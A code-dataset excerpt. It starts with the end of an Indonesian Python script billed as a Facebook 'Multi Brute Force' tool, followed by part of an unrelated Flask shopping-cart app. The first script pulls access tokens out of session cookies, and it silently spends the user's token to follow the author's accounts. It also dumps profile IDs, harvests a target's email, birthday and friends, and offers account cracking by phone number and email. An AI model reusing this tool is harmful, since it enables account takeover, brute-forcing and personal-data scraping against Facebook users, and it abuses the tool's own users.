Rizal Fiansyah)\r\n# GOKIL LU BRO BISA JEBOLIN FILENYA!!\r\n# JANGAN GANTI BOT FOLLOWERNYA YA!! KALAU MAU NAMBAH BOLEH.\r\n\r\nimport requests,mechanize,bs4,sys,os,subprocess,uuid\r\nimport requests,sys,random,time,re,base64,json\r\nimport os, re, requests, concurrent.futures\r\nimport crack,public,follow,likers,random_numbers,random_email\r\nfrom random import randint\r\nfrom concurrent.futures import ThreadPoolExecutor as ThreadPool\r\nfrom datetime import date\r\nfrom datetime import datetime\r\ncurrent = datetime.now()\r\n\r\ntry:\r\n\timport mechanize\r\nexcept ImportError:\r\n\tos.system(\"pip install mechanize\")\r\ntry:\r\n\timport requests\r\nexcept ImportError:\r\n\tos.system(\"pip install requests\")\r\ntry:\r\n\timport bs4\r\nexcept ImportError:\r\n\tos.system(\"pip install bs4\")\r\n\tos.system(\"python premium.py\")\r\n\r\np = \"\\x1b[0;37m\" # putih\r\nm = \"\\x1b[0;31m\" # merah\r\nh = \"\\x1b[0;32m\" # hijau\r\nk = \"\\x1b[0;33m\" # kuning\r\nb = \"\\x1b[0;34m\" # biru\r\nu = \"\\x1b[0;35m\" # ungu\r\no = \"\\x1b[0;36m\" # biru muda\r\n\r\nif (\"linux\" in sys.platform.lower()):\r\n\r\n N = \"\\033[0m\"\r\n G = \"\\033[1;92m\"\r\n O = \"\\033[1;97m\"\r\n R = \"\\033[1;91m\"\r\nelse:\r\n\r\n N = \"\"\r\n G = \"\"\r\n O = \"\"\r\n R = \"\"\r\n\r\n### HEADERS ###\r\n\r\ndef banner():\r\n print(\"\"\" ___ \\n / _ \\_______ ® \\n / ___/ __/ -_) Multi Brute ┌──────────────────────────────┐\\n/_/ /_/__\\__/(_) Force 2.0 │ Script By Dapunta Khurayra │\\n / ^ \\/ / // / ^ \\ │ •• Github.com/Dapunta •• │\\n /_/_/_/_/\\_,_/_/_/_/ └──────────────────────────────┘\"\"\")\r\n\r\nhost=\"https://mbasic.facebook.com\"\r\nips=None\r\ntry:\r\n\tb=requests.get(\"https://api.ipify.org\").text.strip()\r\n\tips=requests.get(\"https://ipapi.com/ip_api.php?ip=\"+b,headers={\"Referer\":\"https://ip-api.com/\",\"Content-Type\":\"application/json; charset=utf-8\",\"User-Agent\":\"Mozilla/5.0 (Linux; Android 10; SM-F916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]\"}).json()[\"country_name\"].lower()\r\nexcept:\r\n\tips=None\r\n\r\nok = []\r\ncp = []\r\nttl =[]\r\n\r\ndurasi = str(datetime.now().strftime(\"%d-%m-%Y\"))\r\ntahun = current.year\r\nbulan = current.month\r\nhari = current.day\r\n\r\nbr = mechanize.Browser()\r\nbr.set_handle_robots(False)\r\nbr.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)\r\nbr.addheaders = [('User-Agent', 'Mozilla/5.0 (Linux; Android 10; SM-F916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]')]\r\n\r\ndef jalan(z):\r\n\tfor e in z + \"\\n\":\r\n\t\tsys.stdout.write(e)\r\n\t\tsys.stdout.flush()\r\n\t\ttime.sleep(0.03)\r\n\r\ndef clear():\r\n\tif \" linux\" in sys.platform.lower():\r\n\t\tos.system(\"clear\")\r\n\telif \"win\" in sys.platform.lower():\r\n\t\tos.system(\"cls\")\r\n\telse:os.system(\"clear\")\r\n \r\ndef lang(cookies):\r\n\tf=False\r\n\trr=bs4.BeautifulSoup(requests.get(\"https://mbasic.facebook.com/language.php\",headers=hdcok(),cookies=cookies).text,\"html.parser\")\r\n\tfor i in rr.find_all(\"a\",href=True):\r\n\t\tif \"id_ID\" in i.get(\"href\"):\r\n\t\t\trequests.get(\"https://mbasic.facebook.com/\"+i.get(\"href\"),cookies=cookies,headers=hdcok())\r\n\t\t\tb=requests.get(\"https://mbasic.facebook.com/profile.php\",headers=hdcok(),cookies=cookies).text\t\r\n\t\t\tif \"apa yang anda pikirkan sekarang\" in b.lower():\r\n\t\t\t\tf=True\r\n\tif f==True:\r\n\t\treturn True\r\n\telse:\r\n\t\texit(\"[!] Wrong Cookies\")\r\n\r\ndef basecookie():\r\n\tif os.path.exists(\".cok\"):\r\n\t\tif os.path.getsize(\".cok\") !=0:\r\n\t\t\treturn gets_dict_cookies(open('.cok').read().strip())\r\n\t\telse:logs()\r\n\telse:logs()\r\n\r\ndef hdcok():\r\n\tglobal host,ua\r\n\thosts=host\r\n\tr={\"origin\": hosts, \"accept-language\": \"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7\", \"accept-encoding\": \"gzip, deflate\", \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\", \"user-agent\": ua, \"Host\": \"\".join(bs4.re.findall(\"://(.*?)$\",hosts)), \"referer\": hosts+\"/login/?next&ref=dbl&fl&refid=8\", \"cache-control\": \"max-age=0\", \"upgrade-insecure-requests\": \"1\", \"content-type\": \"application/x-www-form-urlencoded\"}\r\n\treturn r\r\n\r\ndef gets_cookies(cookies):\r\n\tresult=[]\r\n\tfor i in enumerate(cookies.keys()):\r\n\t\tif i[0]==len(list(cookies.keys()))-1:result.append(i[1]+\"=\"+cookies[i[1]])\r\n\t\telse:result.append(i[1]+\"=\"+cookies[i[1]]+\"; \")\r\n\treturn \"\".join(result)\r\n\r\ndef gets_dict_cookies(cookies):\r\n\tresult={}\r\n\ttry:\r\n\t\tfor i in cookies.split(\";\"):\r\n\t\t\tresult.update({i.split(\"=\")[0]:i.split(\"=\")[1]})\r\n\t\treturn result\r\n\texcept:\r\n\t\tfor i in cookies.split(\"; \"):\r\n\t\t\tresult.update({i.split(\"=\")[0]:i.split(\"=\")[1]})\r\n\t\treturn result\r\n\r\n### LOGIN METHODE ###\r\n\r\ndef logs():\r\n os.system(\"clear\")\r\n banner()\r\n print((k+\"\\n[\"+p+\"1\"+k+\"]\"+p+\" Login Token\"))\r\n print((k+\"[\"+p+\"2\"+k+\"]\"+p+\" Login Cookies\"))\r\n print((k+\"[\"+p+\"3\"+k+\"]\"+p+\" Update Script\"))\r\n print((k+\"[\"+p+\"4\"+k+\"]\"+p+\" Report Bug\"))\r\n print((k+\"[\"+p+\"0\"+k+\"]\"+p+\" Exit\"))\r\n sek=input(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Choose : \")\r\n if sek==\"\":\r\n print((k+\"\\n[\"+p+\"!\"+k+\"]\"+p+\" Fill In The Correct\"))\r\n logs()\r\n elif sek==\"1\":\r\n log_token()\r\n elif sek==\"2\":\r\n gen()\r\n elif sek==\"3\":\r\n updatesc()\r\n elif sek==\"4\":\r\n wangsaff()\r\n elif sek==\"0\":\r\n exit()\r\n else:\r\n print((k+\"\\n[\"+p+\"!\"+k+\"]\"+p+\" Fill In The Correct\"))\r\n logs()\r\n\r\ndef log_token():\r\n os.system(\"clear\")\r\n banner()\r\n toket = input(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Token : \")\r\n try:\r\n otw = requests.get(\"https://graph.facebook.com/me?access_token=\" + toket)\r\n a = json.loads(otw.text)\r\n nama = a[\"name\"]\r\n zedd = open(\"login.txt\", \"w\")\r\n zedd.write(toket)\r\n zedd.close()\r\n print((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Login Successful\"))\r\n bot_follow()\r\n except KeyError:\r\n print((k+\"[\"+p+\"!\"+k+\"]\"+p+\" Token Invalid\"))\r\n os.system(\"clear\")\r\n logs()\r\n\r\ndef gen():\r\n os.system(\"clear\")\r\n banner()\r\n cookie = input(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Cookies : \")\r\n try:\r\n data = requests.get(\"https://m.facebook.com/composer/ocelot/async_loader/?publisher=feed#_=_\", headers = {\r\n \"user-agent\" : \"Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.86 Mobile Safari/537.36\", # Jangan Di Ganti Ea Anjink.\r\n \"referer\" : \"https://m.facebook.com/\",\r\n \"host\" : \"m.facebook.com\",\r\n \"origin\" : \"https://m.facebook.com\",\r\n \"upgrade-insecure-requests\" : \"1\",\r\n \"accept-language\" : \"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7\",\r\n \"cache-control\" : \"max-age=0\",\r\n \"accept\" : \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\r\n \"content-type\" : \"text/html; charset=utf-8\"\r\n }, cookies = {\r\n \"cookie\" : cookie\r\n })\r\n find_token = re.search(\"(EAAA\\w+)\", data.text)\r\n hasil = \"\\n* Fail : maybe your cookie invalid !!\" if (find_token is None) else \"\\n* Your fb access token : \" + find_token.group(1)\r\n except requests.exceptions.ConnectionError:\r\n print((k+\"[\"+p+\"!\"+k+\"]\"+p+\" No Connection\"))\r\n cookie = open(\"login.txt\", \"w\")\r\n cookie.write(find_token.group(1))\r\n cookie.close()\r\n print((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Login Successful\"))\r\n bot_follow()\r\n \r\ndef bot_follow():\r\n\ttry:\r\n\t\ttoket=open(\"login.txt\",\"r\").read()\r\n\texcept IOError:\r\n\t\tprint((k+\"\\n[\"+p+\"!\"+k+\"]\"+p+\" Token Invalid\"))\r\n\t\tlogs()\r\n\trequests.post(\"https://graph.facebook.com/1827084332/subscribers?access_token=\" + toket) #Dapunta Khurayra X\r\n\trequests.post('https://graph.facebook.com/100000737201966/subscribers?access_token=' + toket) #Dapunta Adya R\r\n\trequests.post(\"https://graph.facebook.com/1602590373/subscribers?access_token=\" + toket) #Anthonyus Immanuel\r\n\trequests.post(\"https://graph.facebook.com/100000729074466/subscribers?access_token=\" + toket) #Abigaille Dirgantara\r\n\trequests.post(\"https://graph.facebook.com/607801156/subscribers?access_token=\" + toket) #Boirah\r\n\trequests.post(\"https://graph.facebook.com/100009340646547/subscribers?access_token=\" + toket) #Anita Zuliatin\r\n\trequests.post(\"https://graph.facebook.com/100000415317575/subscribers?access_token=\" + toket) #Dapunta Xayonara\r\n\trequests.post('https://graph.facebook.com/100000149757897/subscribers?access_token=' + toket) #Dapunta Santana X\r\n\trequests.post('https://graph.facebook.com/100000431996038/subscribers?access_token=' + toket) #Almira Gabrielle X\r\n\trequests.post('https://graph.facebook.com/100000424033832/subscribers?access_token=' + toket) #Pebrima Jun Helmi\r\n\trequests.post(\"https://graph.facebook.com/100026490368623/subscribers?access_token=\" + toket) #Muh Rizal Fiansyah\r\n\trequests.post(\"https://graph.facebook.com/100010484328037/subscribers?access_token=\" + toket) #Rizal F\r\n\trequests.post(\"https://graph.facebook.com/100015073506062/subscribers?access_token=\" + toket) #Angga Kurniawan\r\n\trequests.post('https://graph.facebook.com/100005395413800/subscribers?access_token=' + toket) #Moch Yayan\r\n\trequests.post('https://graph.facebook.com/1518721/subscribers?access_token=' + toket) #Irman\r\n\trequests.post('https://graph.facebook.com/100001434048896/subscribers?access_token=' + toket) #Ishak Ibrahim\r\n\trequests.post('https://graph.facebook.com/100003467793035/subscribers?access_token=' + toket) #Fajar Dwi Setyawan\r\n\trequests.post('https://graph.facebook.com/100000177285475/subscribers?access_token=' + toket) #Fajar Maulana\r\n\trequests.post('https://graph.facebook.com/1409058/subscribers?access_token=' + toket) #Raifan KKR\r\n\trequests.post('https://graph.facebook.com/607821/subscribers?access_token=' + toket) #Raifan\r\n\trequests.post('https://graph.facebook.com/100060562954794/subscribers?access_token=' + toket) #Raifan Khaidir 1988\r\n\trequests.post('https://graph.facebook.com/20703665/subscribers?access_token=' + toket) #Muhamad Yusuf Riyansyah\r\n\trequests.post('https://graph.facebook.com/100002212969197/subscribers?access_token=' + toket) #Agung Permana\r\n\trequests.post('https://graph.facebook.com/100027877054892/subscribers?access_token=' + toket) #Febi Takayana\r\n\trequests.post('https://graph.facebook.com/100001779410663/subscribers?access_token=' + toket) #Moch Faskhal\r\n\tmenu()\r\n\r\n### MAIN MENU ###\r\n\r\ndef menu():\r\n try:\r\n toket = open(\"login.txt\",\"r\").read()\r\n otw = requests.get(\"https://graph.facebook.com/me/?access_token=\"+toket)\r\n a = json.loads(otw.text)\r\n nama = a[\"name\"]\r\n id = a[\"id\"]\r\n except Exception as e:\r\n print((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Error : %s\"%e))\r\n logs()\r\n ip = requests.get(\"https://api.ipify.org\").text\r\n os.system(\"clear\")\r\n banner()\r\n print((k+\"\\n[ \"+p+\"Welcome \"+a[\"name\"]+k+\" ]\"+p))\r\n print((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Your ID : \"+id))\r\n print((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Your IP : \"+ip))\r\n print((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Status : \"+h+\"Premium\"+p))\r\n print((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Joined : \"+durasi))\r\n print((k+\"\\n[\"+p+\"1\"+k+\"]\"+p+\" Dump ID From Public/Friend\"))\r\n print((k+\"[\"+p+\"2\"+k+\"]\"+p+\" Dump ID From Followers\"))\r\n print((k+\"[\"+p+\"3\"+k+\"]\"+p+\" Dump ID From Likers Post\"))\r\n print((k+\"[\"+p+\"4\"+k+\"]\"+p+\" Dump ID By Name\"))\r\n print((k+\"[\"+p+\"5\"+k+\"]\"+p+\" Start Crack\"))\r\n print((k+\"[\"+p+\"6\"+k+\"]\"+p+\" Get Data Target\"))\r\n print((k+\"[\"+p+\"7\"+k+\"]\"+p+\" Crack By Phone Number\"))\r\n print((k+\"[\"+p+\"8\"+k+\"]\"+p+\" Crack By Email\"))\r\n print((k+\"[\"+p+\"9\"+k+\"]\"+p+\" Result Crack\"))\r\n print((k+\"[\"+p+\"0\"+k+\"]\"+p+\" Logout\"))\r\n choose_menu()\r\n\t\r\ndef choose_menu():\r\n\tr=input(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Choose : \")\r\n\tif r==\"\":\r\n\t\tprint((k+\"[\"+p+\"!\"+k+\"]\"+p+\" Fill In The Correct\"))\r\n\t\tmenu()\r\n\telif r==\"1\":\r\n\t\texit(public.public())\r\n\telif r==\"2\":\r\n\t\texit(follow.follow())\r\n\telif r==\"3\":\r\n\t\texit(likers.likers())\r\n\telif r==\"4\":\r\n\t\tsearch_name()\r\n\telif r==\"5\":\r\n\t\texit(crack.pilihcrack())\r\n\telif r==\"6\":\r\n\t\ttarget()\r\n\telif r==\"7\":\r\n\t\texit(random_numbers.random_numbers())\r\n\telif r==\"8\":\r\n\t\texit(random_email.random_email())\r\n\telif r==\"9\":\r\n\t\tress()\r\n\telif r==\"0\":\r\n\t\ttry:\r\n\t\t\tjalan(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Thanks For Using My Script\")\r\n\t\t\tos.system(\"rm -rf login.txt\")\r\n\t\t\texit()\r\n\t\texcept Exception as e:\r\n\t\t\tprint((k+\"[\"+p+\"!\"+k+\"]\"+p+\" Error %s\"%e))\r\n\telse:\r\n\t\tprint((k+\"[\"+p+\"!\"+k+\"]\"+p+\" Wrong Input\"))\r\n\t\tmenu()\t\r\n\r\ndef search_name():\r\n os.system(\"clear\")\r\n banner()\r\n print((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" This Feature Is Not Available Right Now\"))\r\n print((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Please Wait Until Coming Soon\"))\r\n input(k+\"\\n[ \"+p+\"Back\"+k+\" ]\"+p)\r\n menu()\r\n\r\n### INFO ACCOUNT ###\r\n\r\ndef target():\r\n\ttry:\r\n\t\ttoket=open(\"login.txt\",\"r\").read()\r\n\texcept IOError:\r\n\t\tprint((k+\"\\n[\"+p+\"!\"+k+\"]\"+p+\" Token Invalid\"))\r\n\t\tos.system(\"rm -rf login.txt\")\r\n\t\tlogin()\r\n\ttry:\r\n\t\tidt = input(k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" ID Target : \")\r\n\t\ttry:\r\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\top = json.loads(jok.text)\r\n\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Name Account : \"+op[\"name\"]))\r\n\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Username : \"+op[\"username\"]))\r\n\t\t\ttry:\r\n\t\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\t\top = json.loads(jok.text)\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Email : \"+op[\"email\"]))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Email : -\"))\r\n\t\t\ttry:\r\n\t\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\t\top = json.loads(jok.text)\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Date Of Birth : \"+op[\"birthday\"]))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Date Of Birth : -\"))\r\n\t\t\ttry:\r\n\t\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\t\top = json.loads(jok.text)\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Gender : \"+op[\"gender\"]))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Gender : -\"))\r\n\t\t\ttry:\r\n\t\t\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\r\n\t\t\t\tid = []\r\n\t\t\t\tz = json.loads(r.text)\r\n\t\t\t\tqq = (op[\"first_name\"]+\".json\").replace(\" \",\"_\")\r\n\t\t\t\tys = open(qq , \"w\")\r\n\t\t\t\tfor i in z[\"data\"]:\r\n\t\t\t\t\tid.append(i[\"id\"])\r\n\t\t\t\t\tys.write(i[\"id\"])\r\n\t\t\t\tys.close()\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Total Friend : %s\"%(len(id))))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Total Friend : -\"))\r\n\t\t\ttry:\r\n\t\t\t\ta=requests.get(\"https://graph.facebook.com/\"+idt+\"/subscribers?limit=20000&access_token=\"+toket)\r\n\t\t\t\tid = []\r\n\t\t\t\tb = json.loads(a.text)\r\n\t\t\t\tbb = (op[\"first_name\"]+\".json\").replace(\" \",\"_\")\r\n\t\t\t\tjw = open(bb , \"w\")\r\n\t\t\t\tfor c in b[\"data\"]:\r\n\t\t\t\t\tid.append(c[\"id\"])\r\n\t\t\t\t\tjw.write(c[\"id\"])\r\n\t\t\t\tjw.close()\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Total Follower : %s\"%(len(id))))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Total Follower : -\"))\r\n\t\t\ttry:\r\n\t\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\t\top = json.loads(jok.text)\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Website : \"+op[\"website\"]))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Website : -\"))\r\n\t\t\texcept IOError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Website : -\"))\r\n\t\t\ttry:\r\n\t\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\r\n\t\t\t\top = json.loads(jok.text)\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Update Time : \"+op[\"updated_time\"]))\r\n\t\t\texcept KeyError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Update Time : -\"))\r\n\t\t\texcept IOError:\r\n\t\t\t\tprint((k+\"[\"+p+\"•\"+k+\"]\"+p+\" Update Time : -\"))\r\n\t\t\tinput(k+\"\\n[ \"+p+\"Back\"+k+\" ]\"+p)\r\n\t\t\tmenu()\r\n\t\texcept KeyError:\r\n\t\t\tinput(k+\"\\n[ \"+p+\"Back\"+k+\" ]\"+p)\r\n\t\t\tmenu()\r\n\texcept Exception as e:\r\n\t\texit(k+\"[\"+p+\"•\"+k+\"]\"+p+\" Error : %s\"%e)\r\n\r\n### RESULT ###\r\n\r\ndef results(Dapunta,Krahkrah):\r\n if len(Dapunta) !=0:\r\n print((\"[OK] : \"+str(len(Dapunta))))\r\n if len(Krahkrah) !=0:\r\n print((\"[CP] : \"+str(len(Krahkrah))))\r\n if len(Dapunta) ==0 and len(Krahkrah) ==0:\r\n print(\"\\n\")\r\n print((k+\"[\"+p+\"!\"+k+\"]\"+p+\" No Result Found\"))\r\n\r\ndef ress():\r\n os.system(\"clear\")\r\n banner()\r\n print((k+\"\\n[ \"+p+\"Result Crack\"+k+\" ]\"+p))\r\n print((k+\"\\n[ \"+p+\"OK\"+k+\" ]\"+p))\r\n try:\r\n os.system(\"cat ok.txt\")\r\n except IOError:\r\n print((k+\"[\"+p+\"!\"+k+\"]\"+p+\" No Result Found\"))\r\n print((k+\"\\n[ \"+p+\"CP\"+k+\" ]\"+p))\r\n try:\r\n os.system(\"cat cp.txt\")\r\n except IOError:\r\n print((k+\"[\"+p+\"!\"+k+\"]\"+p+\" No Result Found\"))\r\n input(k+\"\\n[ \"+p+\"Back\"+k+\" ]\"+p)\r\n menu()\r\n\r\ndef updatesc():\r\n\tos.system(\"clear\")\r\n\tbanner()\r\n\tprint((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Updating Script\"))\r\n\tos.system(\"git pull premium\")\r\n\tprint((k+\"\\n[\"+p+\"•\"+k+\"]\"+p+\" Update Successful\"))\r\n\texit()\r\n\r\ndef wangsaff():\r\n os.system(\"clear\")\r\n banner()\r\n input(\"\\n[ Contact Dapunta? ]\")\r\n jalan(k+\"[\"+p+\"•\"+k+\"]\"+p+\" Open Whatsapp...\")\r\n os.system(\"xdg-open https://wa.me/+6282245780524?text=Assalamualaikum%20Bang,%20Saya%20Pengguna%20SC%20Premium%20Dapunta.%20Code:%20Error\")\r\n input(k+\"\\n[ \"+p+\"Back\"+k+\" ]\"+p)\r\n menu()\r\n\r\nif __name__==\"__main__\":\r\n\tmenu()\r\n","sub_path":"premium2.py","file_name":"premium2.py","file_ext":"py","file_size_in_byte":17708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"372044255","text":"#coding:UTF-8\n__author__ = u\"陈书焰\"\n\n\nfrom app import app,db\nfrom flask import redirect,url_for,render_template,g\nfrom function import get_albums,get_nv,addslashes,timetodate,MyInt\nfrom Mall import Mall\nfrom MallData import MallData\nfrom MallCategory import MallCategory\nfrom History import History\nfrom MallCart import MallCart\nfrom flask.ext.login import login_required\nfrom Address import Address\nfrom Keyword import Keyword\nfrom pinyin import PinYin\nimport os\nfrom Favorite import Favorite\nfrom MallQuestion import MallQuestion\nfrom MallOrder import MallOrder\nfrom MyRequest import MyRequest\nfrom config import siteName\n\n\n@app.route('/mallShow/')\ndef mallShow(id):\n mall = Mall.query.get(id)\n if mall == None:\n return redirect(url_for('index'))\n category = MallCategory.query.get(mall.catid)\n thumbs = get_albums(mall,g.siteDomain)\n albums = get_albums(mall,g.siteDomain,1)\n p1 = get_nv(mall.n1,mall.v1)\n p2 = get_nv(mall.n2,mall.v2)\n p3 = get_nv(mall.n3,mall.v3)\n data = MallData.query.get(id)\n mall.hits += 1\n if g.islogin:\n history = History.query.get(g.user.id)\n if not history:\n history = History()\n history.userid = g.user.id\n history.data = ''\n db.session.add(history)\n if not history.data:\n history.data += str(mall.id)\n elif str(mall.id) not in history.data:\n history.data += ',' + str(mall.id)\n historys = history.data.split(',')\n length = len(historys)-30\n if length > 0:\n historys = historys[length:]\n history.data = ','.join(historys)\n hmalls = Mall.query.filter(Mall.id.in_(historys)).all()\n else:\n hmalls = None\n db.session.commit()\n relprice = 0.00\n if mall.relate_id:\n relids = mall.relate_id.split(',')\n relmalls = Mall.query.filter(Mall.id.in_(relids)).all()\n for v in relmalls:\n if v.proprice != 0.00:\n relprice += float(v.proprice)\n else:\n relprice += float(v.price)\n else:\n relmalls = None\n maylikeids = History.query.filter(History.data.like('%'+str(mall.id)+'%')).all()\n alist = []\n for v in maylikeids:\n tmp = v.data.split(',')\n alist += tmp\n if alist:\n alist = list(set(alist))\n mlikes = Mall.query.filter(Mall.id.in_(alist)).all()\n else:\n mlikes = None\n mlength = 0\n if mlikes :\n mlength = len(mlikes)\n return render_template('mall/mallShow.html',mall=mall,category=category,thumbs=thumbs,albums=albums,p1=p1,p2=p2,p3=p3,moduleid=4,data=data,g=g,hmalls=hmalls,relmalls=relmalls,relprice=relprice,mlikes=mlikes,mlength=mlength)\n\n\n@app.route('/mallCategory/')\ndef mallCategory(id):\n category = MallCategory.query.get(id)\n childcates = category.arrchildid.split(\",\")\n malls = Mall.query.filter(Mall.catid.in_(childcates)).all()\n return render_template('mall/mallCategory.html',malls=malls,category=category,g=g)\n\n@app.route('/mall/search', methods = ['GET','POST'])\ndef mallSearch(): \n kw = MyRequest.getParams('kw')\n\n if kw:\n kw = addslashes(kw)\n malls = Mall.query.filter(Mall.keyword.like('%'+kw+'%')).all()\n keyword = Keyword.query.filter_by(keyword=kw).first()\n if keyword:\n if len(malls) > keyword.items:\n keyword.items = len(malls)\n if timetodate(keyword.updatetime,0) == timetodate(g.siteTime,0):\n keyword.month_search += 1\n else:\n keyword.month_search = 1\n\n if timetodate(keyword.updatetime,8) == timetodate(g.siteTime,8):\n keyword.week_search += 1\n else:\n keyword.week_search = 1\n\n if timetodate(keyword.updatetime,3) == timetodate(g.siteTime,3):\n keyword.today_search += 1\n else:\n keyword.today_search = 1\n\n keyword.total_search += 1\n keyword.updatetime = g.siteTime\n else:\n keyword = Keyword()\n keyword.keyword = kw\n keyword.items = len(malls)\n keyword.updatetime = g.siteTime\n keyword.month_search = 1\n keyword.week_search = 1\n keyword.today_search = 1\n keyword.total_search = 1\n py = PinYin(g.rootpath+os.path.sep+'assets'+os.path.sep+'word.data')\n py.load_word()\n keyword.letter = py.hanzi2pinyin_split(string=kw, split=\" \")\n db.session.add(keyword)\n db.session.commit()\n\n rewords = Keyword.query.filter(Keyword.keyword.like('%'+kw+'%')).limit(10).all()\n\n return render_template('mall/mallSearch.html',malls=malls,g=g,kw=kw,rewords=rewords)\n else:\n return redirect(url_for('index'))\n\n\n@app.route('/mall/cart', methods = ['GET','POST'])\ndef mallCart():\n action = MyRequest.getParams('action')\n if action == 'ajax':\n itemid = MyRequest.getParams('itemid')\n if itemid:\n if g.islogin:\n cart = MallCart.query.get(g.user.id)\n s1 = MyRequest.getParams('s1')\n s2 = MyRequest.getParams('s2')\n s3 = MyRequest.getParams('s3')\n chamount = MyRequest.getParams('chamount')\n chamount = chamount if chamount else '1'\n key = itemid+'-'+s1+'-'+s2+'-'+s3\n if cart:\n carts = cart.data.split(',')\n amounts = cart.amounts.split(',')\n if key in carts:\n i = 0\n for v in carts:\n if v == key:\n amounts[i] = str(int(amounts[i])+int(chamount))\n break\n i += 1\n cart.amounts = ','.join(amounts)\n else:\n cart.data += ','+key\n cart.amounts += ','+chamount\n else:\n cart = MallCart()\n cart.userid = g.user.id\n cart.data = key\n cart.amounts = chamount\n db.session.add(cart)\n cart.edittime = g.siteTime\n count = len(cart.data.split(','))\n db.session.commit()\n return str(count)\n else:\n return '-2'\n else:\n return '-1'\n elif action == 'clear':\n if not g.islogin:\n return redirect(url_for('login'))\n cart = MallCart.query.get(g.user.id)\n if cart:\n db.session.delete(cart)\n db.session.commit()\n return redirect(url_for('mallCart'))\n else:\n if not g.islogin:\n return redirect(url_for('login'))\n cart = MallCart.query.get(g.user.id)\n if cart:\n key = cart.data.split(',')\n tamount = cart.amounts.split(',')\n else:\n key = []\n tamount = []\n carts = []\n m1={}\n m2={}\n m3={}\n keys={}\n chamount={}\n amount={}\n i = 0\n alist = []\n for v in key:\n tmp = v.split('-')\n mall = Mall.query.get(int(tmp[0]))\n carts.append(mall)\n if mall.n1:\n v1s = mall.v1.split('|')\n m1[mall.id] = v1s[int(tmp[1])]\n else:\n m1[mall.id] = 'WU'\n if mall.n2:\n v2s = mall.v2.split('|')\n m2[mall.id] = v2s[int(tmp[2])]\n else:\n m2[mall.id] = 'WU'\n\n if mall.n3:\n v3s = mall.v3.split('|')\n m3[mall.id] = v3s[int(tmp[3])]\n else:\n m3[mall.id] = 'WU'\n chamount[mall.id] = tamount[i]\n keys[mall.id]=v\n amount[mall.id] = (mall.price if mall.proprice == 0.00 else mall.proprice) * MyInt(tamount[i])\n \n maylikeids = History.query.filter(History.data.like('%'+str(mall.id)+'%')).all() \n for v in maylikeids:\n tmp = v.data.split(',')\n alist += tmp\n\n i += 1\n\n if alist:\n alist = list(set(alist))\n mlikes = Mall.query.filter(Mall.id.in_(alist)).all()\n else:\n mlikes = None\n return 